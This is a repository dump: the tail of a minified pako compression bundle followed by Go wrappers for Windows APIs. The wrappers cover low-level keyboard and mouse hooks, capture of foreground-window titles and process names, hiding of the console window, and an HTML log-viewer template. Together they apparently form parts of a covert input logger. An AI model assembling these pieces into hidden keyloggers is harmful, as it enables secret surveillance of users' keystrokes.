ne={Deflate:ae,deflate:ie,deflateRaw:function(t,e){return(e=e||{}).raw=!0,ie(t,e)},gzip:function(t,e){return(e=e||{}).gzip=!0,ie(t,e)},constants:j};var se=function(t,e){let a,i,n,s,r,l,o,h,d,_,f,c,u,w,b,g,p,m,k,v,y,x,z,A;const E=t.state;a=t.next_in,z=t.input,i=a+(t.avail_in-5),n=t.next_out,A=t.output,s=n-(e-t.avail_out),r=n+(t.avail_out-257),l=E.dmax,o=E.wsize,h=E.whave,d=E.wnext,_=E.window,f=E.hold,c=E.bits,u=E.lencode,w=E.distcode,b=(1<>>24,f>>>=m,c-=m,m=p>>>16&255,0===m)A[n++]=65535&p;else{if(!(16&m)){if(0==(64&m)){p=u[(65535&p)+(f&(1<>>=m,c-=m),c<15&&(f+=z[a++]<>>24,f>>>=m,c-=m,m=p>>>16&255,!(16&m)){if(0==(64&m)){p=w[(65535&p)+(f&(1<l){t.msg="invalid distance too far back",E.mode=30;break t}if(f>>>=m,c-=m,m=n-s,v>m){if(m=v-m,m>h&&E.sane){t.msg="invalid distance too far back",E.mode=30;break t}if(y=0,x=_,0===d){if(y+=o-m,m2;)A[n++]=x[y++],A[n++]=x[y++],A[n++]=x[y++],k-=3;k&&(A[n++]=x[y++],k>1&&(A[n++]=x[y++]))}else{y=n-v;do{A[n++]=A[y++],A[n++]=A[y++],A[n++]=A[y++],k-=3}while(k>2);k&&(A[n++]=A[y++],k>1&&(A[n++]=A[y++]))}break}}break}}while(a>3,a-=k,c-=k<<3,f&=(1<{const o=l.bits;let h,d,_,f,c,u,w=0,b=0,g=0,p=0,m=0,k=0,v=0,y=0,x=0,z=0,A=null,E=0;const R=new Uint16Array(16),Z=new Uint16Array(16);let U,S,D,O=null,T=0;for(w=0;w<=re;w++)R[w]=0;for(b=0;b=1&&0===R[p];p--);if(m>p&&(m=p),0===p)return n[s++]=20971520,n[s++]=20971520,l.bits=1,0;for(g=1;g0&&(0===t||1!==p))return-1;for(Z[1]=0,w=1;w852||2===t&&x>592)return 1;for(;;){U=w-v,r[b]u?(S=O[T+r[b]],D=A[E+r[b]]):(S=96,D=0),h=1<>v)+d]=U<<24|S<<16|D|0}while(0!==d);for(h=1<>=1;if(0!==h?(z&=h-1,z+=h):z=0,b++,0==--R[w]){if(w===p)break;w=e[a+r[b]]}if(w>m&&(z&f)!==_){for(0===v&&(v=m),c+=g,k=w-v,y=1<852||2===t&&x>592)return 1;_=z&f,n[_]=m<<24|k<<16|c-s|0}}return 0!==z&&(n[c+z]=w-v<<24|64<<16|0),l.bits=m,0};const{Z_FINISH:fe,Z_BLOCK:ce,Z_TREES:ue,Z_OK:we,Z_STREAM_END:be,Z_NEED_DICT:ge,Z_STREAM_ERROR:pe,Z_DATA_ERROR:me,Z_MEM_ERROR:ke,Z_BUF_ERROR:ve,Z_DEFLATED:ye}=j,xe=12,ze=30,Ae=t=>(t>>>24&255)+(t>>>8&65280)+((65280&t)<<8)+((255&t)<<24);function Ee(){this.mode=0,this.last=!1,this.wrap=0,this.havedict=!1,this.flags=0,this.dmax=0,this.check=0,this.total=0,this.head=null,this.wbits=0,this.wsize=0,this.whave=0,this.wnext=0,this.window=null,this.hold=0,this.bits=0,this.length=0,this.offset=0,this.extra=0,this.lencode=null,this.distcode=null,this.lenbits=0,this.distbits=0,this.ncode=0,this.nlen=0,this.ndist=0,this.have=0,this.next=null,this.lens=new Uint16Array(320),this.work=new Uint16Array(288),this.lendyn=null,this.distdyn=null,this.sane=0,this.back=0,this.was=0}const Re=t=>{if(!t||!t.state)return pe;const e=t.state;return t.total_in=t.total_out=e.total=0,t.msg="",e.wrap&&(t.adler=1&e.wrap),e.mode=1,e.last=0,e.havedict=0,e.dmax=32768,e.head=null,e.hold=0,e.bits=0,e.lencode=e.lendyn=new Int32Array(852),e.distcode=e.distdyn=new Int32Array(592),e.sane=1,e.back=-1,we},Ze=t=>{if(!t||!t.state)return pe;const e=t.state;return e.wsize=0,e.whave=0,e.wnext=0,Re(t)},Ue=(t,e)=>{let a;if(!t||!t.state)return pe;const i=t.state;return e<0?(a=0,e=-e):(a=1+(e>>4),e<48&&(e&=15)),e&&(e<8||e>15)?pe:(null!==i.window&&i.wbits!==e&&(i.window=null),i.wrap=a,i.wbits=e,Ze(t))},Se=(t,e)=>{if(!t)return pe;const a=new Ee;t.state=a,a.window=null;const i=Ue(t,e);return i!==we&&(t.state=null),i};let De,Oe,Te=!0;const Ie=t=>{if(Te){De=new Int32Array(512),Oe=new Int32Array(32);let e=0;for(;e<144;)t.lens[e++]=8;for(;e<256;)t.lens[e++]=9;for(;e<280;)t.lens[e++]=7;for(;e<288;)t.lens[e++]=8;for(_e(1,t.lens,0,288,De,0,t.work,{bits:9}),e=0;e<32;)t.lens[e++]=5;_e(2,t.lens,0,32,Oe,0,t.work,{bits:5}),Te=!1}t.lencode=De,t.lenbits=9,t.distcode=Oe,t.distbits=5},Fe=(t,e,a,i)=>{let n;const s=t.state;return null===s.window&&(s.wsize=1<=s.wsize?(s.window.set(e.subarray(a-s.wsize,a),0),s.wnext=0,s.whave=s.wsize):(n=s.wsize-s.wnext,n>i&&(n=i),s.window.set(e.subarray(a-i,a-i+n),s.wnext),(i-=n)?(s.window.set(e.subarray(a-i,a),0),s.wnext=i,s.whave=s.wsize):(s.wnext+=n,s.wnext===s.wsize&&(s.wnext=0),s.whaveSe(t,15),inflateInit2:Se,inflate:(t,e)=>{let a,i,n,s,r,l,o,h,d,_,f,c,u,w,b,g,p,m,k,v,y,x,z=0;const A=new Uint8Array(4);let E,R;const Z=new Uint8Array([16,17,18,0,8,7,9,6,10,5,11,4,12,3,13,2,14,1,15]);if(!t||!t.state||!t.output||!t.input&&0!==t.avail_in)return pe;a=t.state,a.mode===xe&&(a.mode=13),r=t.next_out,n=t.output,o=t.avail_out,s=t.next_in,i=t.input,l=t.avail_in,h=a.hold,d=a.bits,_=l,f=o,x=we;t:for(;;)switch(a.mode){case 1:if(0===a.wrap){a.mode=13;break}for(;d<16;){if(0===l)break t;l--,h+=i[s++]<>>8&255,a.check=M(a.check,A,2,0),h=0,d=0,a.mode=2;break}if(a.flags=0,a.head&&(a.head.done=!1),!(1&a.wrap)||(((255&h)<<8)+(h>>8))%31){t.msg="incorrect header check",a.mode=ze;break}if((15&h)!==ye){t.msg="unknown compression method",a.mode=ze;break}if(h>>>=4,d-=4,y=8+(15&h),0===a.wbits)a.wbits=y;else if(y>a.wbits){t.msg="invalid window size",a.mode=ze;break}a.dmax=1<>8&1),512&a.flags&&(A[0]=255&h,A[1]=h>>>8&255,a.check=M(a.check,A,2,0)),h=0,d=0,a.mode=3;case 3:for(;d<32;){if(0===l)break t;l--,h+=i[s++]<>>8&255,A[2]=h>>>16&255,A[3]=h>>>24&255,a.check=M(a.check,A,4,0)),h=0,d=0,a.mode=4;case 4:for(;d<16;){if(0===l)break t;l--,h+=i[s++]<>8),512&a.flags&&(A[0]=255&h,A[1]=h>>>8&255,a.check=M(a.check,A,2,0)),h=0,d=0,a.mode=5;case 5:if(1024&a.flags){for(;d<16;){if(0===l)break t;l--,h+=i[s++]<>>8&255,a.check=M(a.check,A,2,0)),h=0,d=0}else a.head&&(a.head.extra=null);a.mode=6;case 6:if(1024&a.flags&&(c=a.length,c>l&&(c=l),c&&(a.head&&(y=a.head.extra_len-a.length,a.head.extra||(a.head.extra=new Uint8Array(a.head.extra_len)),a.head.extra.set(i.subarray(s,s+c),y)),512&a.flags&&(a.check=M(a.check,i,c,s)),l-=c,s+=c,a.length-=c),a.length))break t;a.length=0,a.mode=7;case 7:if(2048&a.flags){if(0===l)break t;c=0;do{y=i[s+c++],a.head&&y&&a.length<65536&&(a.head.name+=String.fromCharCode(y))}while(y&&c>9&1,a.head.done=!0),t.adler=a.check=0,a.mode=xe;break;case 10:for(;d<32;){if(0===l)break t;l--,h+=i[s++]<>>=7&d,d-=7&d,a.mode=27;break}for(;d<3;){if(0===l)break t;l--,h+=i[s++]<>>=1,d-=1,3&h){case 0:a.mode=14;break;case 1:if(Ie(a),a.mode=20,e===ue){h>>>=2,d-=2;break t}break;case 2:a.mode=17;break;case 3:t.msg="invalid block type",a.mode=ze}h>>>=2,d-=2;break;case 14:for(h>>>=7&d,d-=7&d;d<32;){if(0===l)break t;l--,h+=i[s++]<>>16^65535)){t.msg="invalid stored block lengths",a.mode=ze;break}if(a.length=65535&h,h=0,d=0,a.mode=15,e===ue)break t;case 15:a.mode=16;case 16:if(c=a.length,c){if(c>l&&(c=l),c>o&&(c=o),0===c)break t;n.set(i.subarray(s,s+c),r),l-=c,s+=c,o-=c,r+=c,a.length-=c;break}a.mode=xe;break;case 17:for(;d<14;){if(0===l)break t;l--,h+=i[s++]<>>=5,d-=5,a.ndist=1+(31&h),h>>>=5,d-=5,a.ncode=4+(15&h),h>>>=4,d-=4,a.nlen>286||a.ndist>30){t.msg="too many length or distance symbols",a.mode=ze;break}a.have=0,a.mode=18;case 18:for(;a.have>>=3,d-=3}for(;a.have<19;)a.lens[Z[a.have++]]=0;if(a.lencode=a.lendyn,a.lenbits=7,E={bits:a.lenbits},x=_e(0,a.lens,0,19,a.lencode,0,a.work,E),a.lenbits=E.bits,x){t.msg="invalid code lengths set",a.mode=ze;break}a.have=0,a.mode=19;case 19:for(;a.have>>24,g=z>>>16&255,p=65535&z,!(b<=d);){if(0===l)break t;l--,h+=i[s++]<>>=b,d-=b,a.lens[a.have++]=p;else{if(16===p){for(R=b+2;d>>=b,d-=b,0===a.have){t.msg="invalid bit length repeat",a.mode=ze;break}y=a.lens[a.have-1],c=3+(3&h),h>>>=2,d-=2}else if(17===p){for(R=b+3;d>>=b,d-=b,y=0,c=3+(7&h),h>>>=3,d-=3}else{for(R=b+7;d>>=b,d-=b,y=0,c=11+(127&h),h>>>=7,d-=7}if(a.have+c>a.nlen+a.ndist){t.msg="invalid bit length repeat",a.mode=ze;break}for(;c--;)a.lens[a.have++]=y}}if(a.mode===ze)break;if(0===a.lens[256]){t.msg="invalid code -- missing end-of-block",a.mode=ze;break}if(a.lenbits=9,E={bits:a.lenbits},x=_e(1,a.lens,0,a.nlen,a.lencode,0,a.work,E),a.lenbits=E.bits,x){t.msg="invalid literal/lengths set",a.mode=ze;break}if(a.distbits=6,a.distcode=a.distdyn,E={bits:a.distbits},x=_e(2,a.lens,a.nlen,a.ndist,a.distcode,0,a.work,E),a.distbits=E.bits,x){t.msg="invalid distances set",a.mode=ze;break}if(a.mode=20,e===ue)break t;case 20:a.mode=21;case 21:if(l>=6&&o>=258){t.next_out=r,t.avail_out=o,t.next_in=s,t.avail_in=l,a.hold=h,a.bits=d,se(t,f),r=t.next_out,n=t.output,o=t.avail_out,s=t.next_in,i=t.input,l=t.avail_in,h=a.hold,d=a.bits,a.mode===xe&&(a.back=-1);break}for(a.back=0;z=a.lencode[h&(1<>>24,g=z>>>16&255,p=65535&z,!(b<=d);){if(0===l)break t;l--,h+=i[s++]<>m)],b=z>>>24,g=z>>>16&255,p=65535&z,!(m+b<=d);){if(0===l)break t;l--,h+=i[s++]<>>=m,d-=m,a.back+=m}if(h>>>=b,d-=b,a.back+=b,a.length=p,0===g){a.mode=26;break}if(32&g){a.back=-1,a.mode=xe;break}if(64&g){t.msg="invalid literal/length code",a.mode=ze;break}a.extra=15&g,a.mode=22;case 22:if(a.extra){for(R=a.extra;d>>=a.extra,d-=a.extra,a.back+=a.extra}a.was=a.length,a.mode=23;case 23:for(;z=a.distcode[h&(1<>>24,g=z>>>16&255,p=65535&z,!(b<=d);){if(0===l)break t;l--,h+=i[s++]<>m)],b=z>>>24,g=z>>>16&255,p=65535&z,!(m+b<=d);){if(0===l)break t;l--,h+=i[s++]<>>=m,d-=m,a.back+=m}if(h>>>=b,d-=b,a.back+=b,64&g){t.msg="invalid distance code",a.mode=ze;break}a.offset=p,a.extra=15&g,a.mode=24;case 24:if(a.extra){for(R=a.extra;d>>=a.extra,d-=a.extra,a.back+=a.extra}if(a.offset>a.dmax){t.msg="invalid distance too far back",a.mode=ze;break}a.mode=25;case 25:if(0===o)break t;if(c=f-o,a.offset>c){if(c=a.offset-c,c>a.whave&&a.sane){t.msg="invalid distance too far back",a.mode=ze;break}c>a.wnext?(c-=a.wnext,u=a.wsize-c):u=a.wnext-c,c>a.length&&(c=a.length),w=a.window}else w=n,u=r-a.offset,c=a.length;c>o&&(c=o),o-=c,a.length-=c;do{n[r++]=w[u++]}while(--c);0===a.length&&(a.mode=21);break;case 26:if(0===o)break t;n[r++]=a.length,o--,a.mode=21;break;case 27:if(a.wrap){for(;d<32;){if(0===l)break t;l--,h|=i[s++]<{if(!t||!t.state)return pe;let e=t.state;return e.window&&(e.window=null),t.state=null,we},inflateGetHeader:(t,e)=>{if(!t||!t.state)return pe;const a=t.state;return 0==(2&a.wrap)?pe:(a.head=e,e.done=!1,we)},inflateSetDictionary:(t,e)=>{const a=e.length;let i,n,s;return t&&t.state?(i=t.state,0!==i.wrap&&11!==i.mode?pe:11===i.mode&&(n=1,n=B(n,e,a,0),n!==i.check)?me:(s=Fe(t,e,a,a),s?(i.mode=31,ke):(i.havedict=1,we))):pe},inflateInfo:"pako inflate (from Nodeca project)"};var Ne=function(){this.text=0,this.time=0,this.xflags=0,this.os=0,this.extra=null,this.extra_len=0,this.name="",this.comment="",this.hcrc=0,this.done=!1};const Be=Object.prototype.toString,{Z_NO_FLUSH:Ce,Z_FINISH:Me,Z_OK:He,Z_STREAM_END:je,Z_NEED_DICT:Ke,Z_STREAM_ERROR:Pe,Z_DATA_ERROR:Ye,Z_MEM_ERROR:Ge}=j;function Xe(t){this.options=Bt({chunkSize:65536,windowBits:15,to:""},t||{});const e=this.options;e.raw&&e.windowBits>=0&&e.windowBits<16&&(e.windowBits=-e.windowBits,0===e.windowBits&&(e.windowBits=-15)),!(e.windowBits>=0&&e.windowBits<16)||t&&t.windowBits||(e.windowBits+=32),e.windowBits>15&&e.windowBits<48&&0==(15&e.windowBits)&&(e.windowBits|=15),this.err=0,this.msg="",this.ended=!1,this.chunks=[],this.strm=new Yt,this.strm.avail_out=0;let a=Le.inflateInit2(this.strm,e.windowBits);if(a!==He)throw new Error(H[a]);if(this.header=new Ne,Le.inflateGetHeader(this.strm,this.header),e.dictionary&&("string"==typeof e.dictionary?e.dictionary=jt(e.dictionary):"[object ArrayBuffer]"===Be.call(e.dictionary)&&(e.dictionary=new Uint8Array(e.dictionary)),e.raw&&(a=Le.inflateSetDictionary(this.strm,e.dictionary),a!==He)))throw new Error(H[a])}function We(t,e){const a=new Xe(e);if(a.push(t),a.err)throw a.msg||H[a.err];return a.result}Xe.prototype.push=function(t,e){const a=this.strm,i=this.options.chunkSize,n=this.options.dictionary;let s,r,l;if(this.ended)return!1;for(r=e===~~e?e:!0===e?Me:Ce,"[object ArrayBuffer]"===Be.call(t)?a.input=new Uint8Array(t):a.input=t,a.next_in=0,a.avail_in=a.input.length;;){for(0===a.avail_out&&(a.output=new Uint8Array(i),a.next_out=0,a.avail_out=i),s=Le.inflate(a,r),s===Ke&&n&&(s=Le.inflateSetDictionary(a,n),s===He?s=Le.inflate(a,r):s===Ye&&(s=Ke));a.avail_in>0&&s===je&&a.state.wrap>0&&0!==t[a.next_in];)Le.inflateReset(a),s=Le.inflate(a,r);switch(s){case Pe:case Ye:case Ke:case Ge:return this.onEnd(s),this.ended=!0,!1}if(l=a.avail_out,a.next_out&&(0===a.avail_out||s===je))if("string"===this.options.to){let t=Pt(a.output,a.next_out),e=a.next_out-t,n=Kt(a.output,t);a.next_out=e,a.avail_out=i-e,e&&a.output.set(a.output.subarray(t,t+e),0),this.onData(n)}else this.onData(a.output.length===a.next_out?a.output:a.output.subarray(0,a.next_out));if(s!==He||0!==l){if(s===je)return s=Le.inflateEnd(this.strm),this.onEnd(s),this.ended=!0,!0;if(0===a.avail_in)break}}return!0},Xe.prototype.onData=function(t){this.chunks.push(t)},Xe.prototype.onEnd=function(t){t===He&&("string"===this.options.to?this.result=this.chunks.join(""):this.result=Ct(this.chunks)),this.chunks=[],this.err=t,this.msg=this.strm.msg};var qe={Inflate:Xe,inflate:We,inflateRaw:function(t,e){return(e=e||{}).raw=!0,We(t,e)},ungzip:We,constants:j};const{Deflate:Je,deflate:Qe,deflateRaw:Ve,gzip:$e}=ne,{Inflate:ta,inflate:ea,inflateRaw:aa,ungzip:ia}=qe;var na=Je,sa=Qe,ra=Ve,la=$e,oa=ta,ha=ea,da=aa,_a=ia,fa=j,ca={Deflate:na,deflate:sa,deflateRaw:ra,gzip:la,Inflate:oa,inflate:ha,inflateRaw:da,ungzip:_a,constants:fa};t.Deflate=na,t.Inflate=oa,t.constants=fa,t.default=ca,t.deflate=sa,t.deflateRaw=ra,t.gzip=la,t.inflate=ha,t.inflateRaw=da,t.ungzip=_a,Object.defineProperty(t,"__esModule",{value:!0})})); -------------------------------------------------------------------------------- /win32/define.go: -------------------------------------------------------------------------------- 1 | package win32 2 | 3 | const ( 4 | /* WH_MIN = -1 5 | WH_MSGFILTER = -1 6 | WH_JOURNALRECORD = 0 7 | WH_JOURNALPLAYBACK = 1 8 | WH_KEYBOARD = 2 9 | WH_GETMESSAGE = 3 10 | WH_CALLWNDPROC = 4 11 | WH_CBT = 5 12 | WH_SYSMSGFILTER = 6 13 | WH_MOUSE = 7 14 | WH_HARDWARE = 8 15 | WH_DEBUG = 9 16 | WH_SHELL = 10 17 | WH_FOREGROUNDIDLE = 11 18 | WH_CALLWNDPROCRET = 12*/ 19 | WH_KEYBOARD_LL = 13 20 | WH_MOUSE_LL = 14 21 | /*WH_MAX = 15 22 | 23 | WM_MOUSEFIRST = 0x0200 24 | WM_MOUSEMOVE = 0x0200*/ 25 | WM_LBUTTONDOWN = 0x0201 26 | /* WM_LBUTTONUP = 0x0202 27 | WM_LBUTTONDBLCLK = 0x0203 28 | WM_RBUTTONDOWN = 0x0204 29 | WM_RBUTTONUP = 0x0205 30 | WM_RBUTTONDBLCLK = 0x0206 31 | WM_MBUTTONDOWN = 0x0207 32 | WM_MBUTTONUP = 0x0208 33 | WM_MBUTTONDBLCLK = 0x0209 34 | WM_MOUSEWHEEL = 0x020A 35 | WM_MOUSELAST = 0x020A 36 | 37 | WM_KEYFIRST = 0x0100*/ 38 | WM_KEYDOWN = 0x0100 39 | /* WM_KEYUP = 0x0101 40 | WM_CHAR = 0x0102 41 | WM_DEADCHAR = 0x0103 42 | WM_SYSKEYDOWN = 0x0104 43 | WM_SYSKEYUP = 0x0105 44 | WM_SYSCHAR = 0x0106 45 | WM_SYSDEADCHAR = 0x0107 46 | WM_KEYLAST = 0x0108*/ 47 | ) 48 | const ( 49 | VK_CONTROL = 0x11 50 | ) 51 | 52 | type ( 53 | ATOM uint16 54 | HANDLE uintptr 55 | HGLOBAL HANDLE 56 | HINSTANCE HANDLE 57 | LCID uint32 58 | LCTYPE uint32 59 | LANGID uint16 60 | HMODULE uintptr 61 | HWINEVENTHOOK HANDLE 62 | HRSRC uintptr 63 | 64 | HACCEL HANDLE 65 | HCURSOR HANDLE 66 | HDWP HANDLE 67 | HICON HANDLE 68 | HMENU HANDLE 69 | HMONITOR HANDLE 70 | HRAWINPUT HANDLE 71 | HKL HANDLE 72 | DWORD uint32 73 | WPARAM uintptr 74 | LPARAM uintptr 75 | LRESULT uintptr 76 | HHOOK HANDLE 77 | HWND HANDLE 78 | ) 79 | 80 | var NULL = 0 81 | var ( 82 | Jianpan_hok HHOOK 83 | Shubao_hok HHOOK 84 | ) 85 | 86 | type HOOKPROC func(int, WPARAM, LPARAM) LRESULT 87 | 88 | type KBDLLHOOKSTRUCT struct { 89 | VkCode DWORD 90 | ScanCode DWORD 91 | Flags DWORD 92 | Time DWORD 93 | DwExtraInfo uintptr 94 | } 95 | 96 | type MSLLHOOKSTRUCT struct { 97 | Pt POINT 98 | MouseData POINT 99 | Flags DWORD 100 | Time DWORD 101 | DwExtraInfo uintptr 102 | } 103 | type POINT struct { 104 | X, Y int32 105 | } 106 | 107 | type MSG struct { 108 | Hwnd HWND 109 | Message uint32 110 | WParam uintptr 111 | LParam uintptr 112 | Time uint32 113 | Pt POINT 114 | } 115 | 116 | const ( 117 | SW_HIDE = 0 118 | SW_SHOW = 5 119 | ) 120 | 121 | var ( 122 | getConsoleWindow = kernel32.NewProc("GetConsoleWindow") 123 | getCurrentProcessId = kernel32.NewProc("GetCurrentProcessId") 124 | showWindowAsync = user32.NewProc("ShowWindowAsync") 125 | ) 126 | 127 | const HtmlTemplate = ` 128 | 129 | 130 | 131 | Log Viewer 132 | 133 | 155 | 156 | 157 | 158 |
159 |
160 | {{ .LogContent }}
161 | 	
162 | 163 | 164 | ` 165 | -------------------------------------------------------------------------------- /win32/win32.go: -------------------------------------------------------------------------------- 1 | package win32 2 | 3 | import ( 4 | "syscall" 5 | "unsafe" 6 | ) 7 | 8 | var ( 9 | kernel32 = syscall.NewLazyDLL("kernel32.dll") 10 | getACP = kernel32.NewProc("GetACP") 11 | 12 | user32 = syscall.NewLazyDLL("user32.dll") 13 | getForegroundWindow = user32.NewProc("GetForegroundWindow") 14 | getWindowTextA = user32.NewProc("GetWindowTextA") 15 | getWindowThreadProcessId = user32.NewProc("GetWindowThreadProcessId") 16 | setWindowsHookExW = user32.NewProc("SetWindowsHookExW") 17 | callNextHookEx = user32.NewProc("CallNextHookEx") 18 | unhookWindowsHookEx = user32.NewProc("UnhookWindowsHookEx") 19 | getMessageW = user32.NewProc("GetMessageW") 20 | toAsciiEx = user32.NewProc("ToAsciiEx") 21 | getKeyState = user32.NewProc("GetKeyState") 22 | windowFromPoint = user32.NewProc("WindowFromPoint") 23 | getAsyncKeyState = user32.NewProc("GetAsyncKeyState") 24 | psapi = syscall.NewLazyDLL("psapi.dll") 25 | getModuleBaseNameA = psapi.NewProc("GetModuleBaseNameA") 26 | ) 27 | 28 | func isErr(err error) bool { 29 | if err == nil { 30 | return false 31 | } 32 | return err.Error() != "The operation completed successfully." 33 | } 34 | func IsKeyDown(vkCode int) bool { 35 | result, _, _ := getAsyncKeyState.Call(uintptr(vkCode)) 36 | return (result & 0x8000) != 0 37 | } 38 | 39 | // 获取系统前台窗口句柄 40 | func GetForegroundWindow() (HWND, error) { 41 | r0, _, err := getForegroundWindow.Call() 42 | if isErr(err) { 43 | return 0, err 44 | } 45 | return HWND(r0), nil 46 | } 47 | 48 | // 获取窗口标题 49 | func GetWindowTextA(hWnd HWND) (string, error) { 50 | title := [1024]byte{} 51 | length, _, err := getWindowTextA.Call(uintptr(hWnd), uintptr(unsafe.Pointer(&title[0])), 1024) 52 | if isErr(err) { 53 | return "", err 54 | } 55 | return string(title[:length]), nil 56 | } 57 | 58 | // 获取线程号和进程号 59 | func GetWindowThreadProcessId(hWnd HWND) (lpdwProcessId uint32, threadId uint32, err error) { 60 | var tId uintptr 61 | tId, _, err = getWindowThreadProcessId.Call(uintptr(hWnd), uintptr(unsafe.Pointer(&lpdwProcessId))) 62 | threadId = uint32(tId) 63 | if !isErr(err) { 64 | err = nil 65 | } 66 | return 67 | } 68 | 69 | // 获取系统编码 70 | func GetACP() (uint, error) { 71 | acp, _, err := getACP.Call() 72 | if isErr(err) { 73 | return 0, err 74 | } 75 | return uint(acp), nil 76 | } 77 | 78 | // 打开|获取 进程句柄 79 | func OpenProcess(da uint32, inheritHandle bool, pid uint32) (handel HANDLE, err error) { 80 | h, err := syscall.OpenProcess(da, inheritHandle, pid) 81 | handel = HANDLE(h) 82 | if !isErr(err) { 83 | err = nil 84 | } 85 | return 86 | } 87 | func GetModuleBaseNameA(handel HANDLE) (string, error) { 88 | buf := [1024]byte{} 89 | length, _, err := getModuleBaseNameA.Call(uintptr(handel), 0, 90 | uintptr(unsafe.Pointer(&buf)), 1024) 91 | if isErr(err) { 92 | return "", err 93 | } 94 | return string(buf[:length]), nil 95 | } 96 | 97 | func CloseHandel(handel HANDLE) error { 98 | return syscall.CloseHandle(syscall.Handle(handel)) 99 | } 100 | 101 | // set hook 102 | func SetWindowsHookEx(idHook int, lpfn HOOKPROC, hMod HINSTANCE, dwThreadId DWORD) (HHOOK, error) { 103 | ret, _, err := setWindowsHookExW.Call( 104 | uintptr(idHook), 105 | uintptr(syscall.NewCallback(lpfn)), 106 | uintptr(hMod), 107 | uintptr(dwThreadId), 108 | ) 109 | if isErr(err) { 110 | return 0, err 111 | } 112 | return HHOOK(ret), nil 113 | } 114 | 115 | // call next hook 116 | // 117 | // 对于某些类型的HOOK,系统将向该类的所有HOOK函数发送消息,这时, HOOK函数中的CallNextHookEx语句将被忽略 118 | func CallNextHookEx(hhk HHOOK, nCode int, wParam WPARAM, lParam LPARAM) (LRESULT, error) { 119 | ret, _, err := callNextHookEx.Call( 120 | uintptr(hhk), 121 | uintptr(nCode), 122 | uintptr(wParam), 123 | uintptr(lParam), 124 | ) 125 | if !isErr(err) { 126 | err = nil 127 | } 128 | return LRESULT(ret), err 129 | } 130 | 131 | // 卸载hook 132 | func UnhookWindowsHookEx(hhk HHOOK) (bool, error) { 133 | ret, _, err := unhookWindowsHookEx.Call( 134 | uintptr(hhk), 135 | ) 136 | if isErr(err) { 137 | return false, err 138 | } 139 | return ret != 0, nil 140 | } 141 | 142 | // 获取消息 143 | func GetMessage(msg *MSG, hWnd HWND, msgFilterMin uint32, msgFilterMax uint32) int { 144 | ret, _, _ := getMessageW.Call( 145 | uintptr(unsafe.Pointer(msg)), 146 | uintptr(hWnd), 147 | uintptr(msgFilterMin), 148 | uintptr(msgFilterMax)) 149 | return int(ret) 150 | } 151 | 152 | /*// 将指定的虚拟键盘和键盘状态翻译为相应的字符 153 | func ToAsciiEx(uVirtkey uint, uScanCode uint, lpKeySate *byte, uFlags uint, dwhkl HKL) (string, error) { 154 | char := [256]byte{} 155 | len, _, err := toAsciiEx.Call( 156 | uintptr(uVirtkey), 157 | uintptr(uScanCode), 158 | uintptr(unsafe.Pointer(lpKeySate)), 159 | uintptr(unsafe.Pointer(&char)), 160 | uintptr(uFlags), 161 | uintptr(dwhkl), 162 | ) 163 | if isErr(err) { 164 | return "", err 165 | } 166 | return string(char[:len]), nil 167 | }*/ 168 | 169 | func GetKeyState(vkCode uint32) (int8, error) { 170 | res, _, err := getKeyState.Call(uintptr(vkCode)) 171 | if isErr(err) { 172 | return 0, err 173 | } 174 | return int8(res), err 175 | } 176 | 177 | func HideConsole() { 178 | ShowConsoleAsync(SW_HIDE) 179 | } 180 | func ShowConsoleAsync(commandShow uintptr) { 181 | console := GetConsoleWindow() 182 | if console != 0 { 183 | _, consoleProcID := GetWindowThreadProcessId_test(console) 184 | if GetCurrentProcessId() == consoleProcID { 185 | ShowWindowAsync(console, commandShow) 186 | } 187 | } 188 | } 189 | func GetConsoleWindow() uintptr { 190 | ret, _, _ := getConsoleWindow.Call() 191 | return ret 192 | } 193 | func GetWindowThreadProcessId_test(hwnd uintptr) (uintptr, uint32) { 194 | var processId uint32 195 | ret, _, _ := getWindowThreadProcessId.Call( 196 | hwnd, 197 | uintptr(unsafe.Pointer(&processId)), 198 | ) 199 | return ret, processId 200 | } 201 | func GetCurrentProcessId() uint32 { 202 | id, _, _ := getCurrentProcessId.Call() 203 | return uint32(id) 204 | } 205 | func ShowWindowAsync(window, commandShow uintptr) bool { 206 | ret, _, _ := showWindowAsync.Call(window, commandShow) 207 | return ret != 0 208 | } 209 | --------------------------------------------------------------------------------